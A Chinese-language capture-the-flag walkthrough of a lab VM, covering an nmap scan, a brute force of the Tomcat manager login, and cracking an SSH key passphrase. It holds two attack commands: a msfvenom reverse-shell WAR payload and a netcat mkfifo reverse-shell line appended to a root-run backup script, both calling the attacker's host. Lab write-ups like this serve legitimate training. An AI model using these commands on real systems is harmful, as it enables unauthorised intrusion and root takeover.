环境信息
靶机:192.168.124.150
攻击机:192.168.124.129
打靶过程
nmap 扫描端口及服务
发现开放了 22,8080 端口
访问 8080 是 apache tomcat 欢迎页面
目录扫描
目录扫描未发现扫描有用信息
tomcat 登录爆破
因为 tomcat 有管理登录页面,于是尝试爆破
成功爆破出 tomcat 账号密码为 tomcat:role1
上传 war 包反弹 shell
登录后,在 web 应用程序部署界面尝试在上传 war 包反弹 shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.124.129 LPORT=9999 -f war -o revshell.war
上传成功后,在应用程序列表中看到已成功部署了 war 后门,点击访问后反弹
发现 ssh 私钥
在 thales 家目录下发现了两个文件,user.txt 无访问权限,notes.txt 中告诉我们有一个备用脚本在 /usr/local/bin/backup.sh
并且在 thales 家目录下查看所有文件,发现了 ssh 私钥文件
爆破私钥得到密码
将私钥文件下载到攻击机,利用 ssh2john 将私钥转化为 john 能处理的 SHA 加密的文件,然后进行爆破,得到密码为 vodka06
那么 su 到 thales 用户
发现了第一个 flag
提权
想到给我们的脚本还没用上,查看脚本,该脚本是 root 用户创建的,且我们有读、写、执行权限
于是插入反弹 shell 命令
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.124.129 6666 >/tmp/f" >> backup.sh
攻击机监听一会儿后成功反弹提权至 root
获取 flag
总结
1.tomcat 登录爆破
2.私钥爆破
3.脚本反弹 shell